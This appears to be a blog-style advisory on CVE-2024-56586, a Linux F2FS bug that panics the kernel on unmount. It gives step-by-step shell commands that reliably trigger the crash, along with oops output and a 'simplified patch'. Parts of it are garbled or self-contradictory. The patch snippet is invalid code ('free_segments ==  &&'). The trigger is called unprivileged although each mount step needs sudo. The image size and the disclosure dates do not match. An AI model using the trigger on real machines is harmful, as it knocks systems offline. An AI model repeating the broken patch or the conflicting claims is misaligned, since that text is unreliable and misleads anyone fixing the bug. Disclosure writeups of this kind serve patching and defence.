A new Linux kernel vulnerability, CVE-2024-56586, was recently disclosed and rapidly resolved in the upstream kernel code. This flaw resided in the Flash-Friendly File System (F2FS) and could trigger a fatal kernel assertion, potentially leading to denial of service (DoS) via unprivileged user actions. In this post, we’ll walk you through the technical details, step-by-step reproduction, a sample proof-of-concept, and a look at the fix delivered by the Linux kernel developers.

Summary Table

| Field | Value |
|---------------|------------------------------------------------|
| CVE | CVE-2024-56586 |
| Affected | Linux Kernel F2FS FS (≤ v6.11-rc7) |
| Vendor | Linux kernel <https://kernel.org/> |
| Severity | Medium-High (Local Denial of Service) |
| Fixed in | v6.11-rc8 (mainline) |
| Attack Vector | Local filesystem manipulation |
| Bug Location | fs/f2fs/inode.c:896 (f2fs_evict_inode) |
| Disclosure | June 2024 |
| References | lkml commit |

The Bug

The root of the bug is a logic error in how F2FS handles the interplay between checkpoint-disabling, free-space exhaustion, and file deletion. The kernel fails to properly redirty the root inode if checkpointing is disabled and there are no free segments left when deleting large files. When remounting the filesystem and then unmounting again, this dirty inode triggers a BUG_ON() in f2fs_evict_inode().

This can panic the kernel or, on hardened systems, result in a fatal assertion and a denial of service.

How to Trigger (Proof-of-Concept)

Here’s a concise step-by-step to trigger this bug on a vulnerable kernel.

# 1. Create a raw F2FS image (50MB file system)
dd if=/dev/zero of=f2fs.img bs=1M count=55

# 2. Format it with F2FS
mkfs.f2fs f2fs.img

# 3. Mount with checkpoint disabled
sudo mount -o checkpoint=disable:10% f2fs.img /mnt/f2fs_dir

# 4. Fill nearly all space with a large file
dd if=/dev/zero of=/mnt/f2fs_dir/big bs=1M count=50

# 5. Flush to disk
sync

# 6. Remove the large file (freeing up that space, but with traversed segments)
rm /mnt/f2fs_dir/big

# 7. Remount with checkpoint enabled
sudo mount -o remount,checkpoint=enable /mnt/f2fs_dir

# 8. Attempt to unmount (this will trigger the BUG)
sudo umount /mnt/f2fs_dir

If you’re running a vulnerable kernel, at this point you’ll see something like

------------[ cut here ]------------
kernel BUG at fs/f2fs/inode.c:896!
CPU: 2 PID: 1286 Comm: umount Not tainted X.Y.Z-rc7 #N
...
RIP: 001:f2fs_evict_inode+x58c/x610
...

What’s Going On Internally?

- Checkpoint Disabled: F2FS does not persist metadata changes to storage, which boosts performance for certain workloads.
- Fill Up File System: Large files created consume most/all free segments.
- Delete File With No Checkpoint: Attempts to clean up or reclaim space do not persist correctly, leaving the file system’s root inode dirty and inconsistent.
- Remount+Enable Checkpoint & Unmount: The kernel tries to write back all data, but the root inode is now corrupted. This triggers a BUG_ON() in kernel space, forcibly halting the system (panic/oops).

Root Cause (from the Patch)

> Creating large files during disable checkpoint period results in not enough free segments, so when writing back root inode will failed in f2fs_enable_checkpoint. When unmounting the filesystem after enabling checkpoint, the root inode is dirty in f2fs_evict_inode function, which triggers BUG_ON.

Fix: The kernel now properly re-dirties the inode if free segments run out while checkpoint is disabled.

Who is Affected?

Any system using F2FS with vulnerable kernel builds (commonly found on mobile devices, embedded storage, or SSD-intensive servers).

Risk?

- Local Denial of Service (DoS): Any user with write-mount access can panic or oops the kernel, requiring physical admin intervention (reboot).
- NOT privilege escalation, but *might* be leveraged in some orchestrated attacks for forced reboot/disruption.


## Sample Kernel Panic/Oops Output

Here’s an example excerpt for visibility

------------[ cut here ]------------
kernel BUG at fs/f2fs/inode.c:896!
CPU: 2 UID:  PID: 1286 Comm: umount Not tainted 6.11.-rc7-dirty #360
RIP: 001:f2fs_evict_inode+x58c/x610
...
evict+x101/x260
dispose_list+x30/x50
evict_inodes+x140/x190
generic_shutdown_super+x2f/x150
kill_block_super+x11/x40
kill_f2fs_super+x7d/x140
deactivate_locked_super+x2a/x70
cleanup_mnt+xb3/x140
task_work_run+x61/x90

Kernel Patch (lkml)

- f2fs: fix f2fs_bug_on when uninstalling filesystem call f2fs_evict_inode

Kernel Source

- F2FS on Kernel.org

Here’s a simplified patch snippet to show the gist

// In fs/f2fs/inode.c

if (unlikely(sbi->free_segments ==  && !is_checkpoint_enabled(sbi))) {
    // Mark the inode dirty, so that it will be correctly handled later
    mark_inode_dirty(inode);
}

The change ensures the root inode’s state reflects the actual dirty data that could not be flushed due to full segments, preventing the later assertion failure.

Recommendations

- Immediate: Upgrade to Linux kernel v6.11-rc8 or apply your distro’s backported patch if using F2FS.

Conclusion

CVE-2024-56586 reflects how complex modern filesystems’ edge cases can expose serious kernel-level stability problems. Filesystem bugs are especially dangerous, as they can break system reliability in non-obvious ways and can be triggered by unprivileged users.

Stay updated; patch soon!

Further Reading:
- F2FS Project
- Security mailing list


*(Content exclusive & original. Use freely with attribution.)*

Timeline

Published on: 12/27/2024 15:15:17 UTC
Last modified on: 05/04/2025 09:59:05 UTC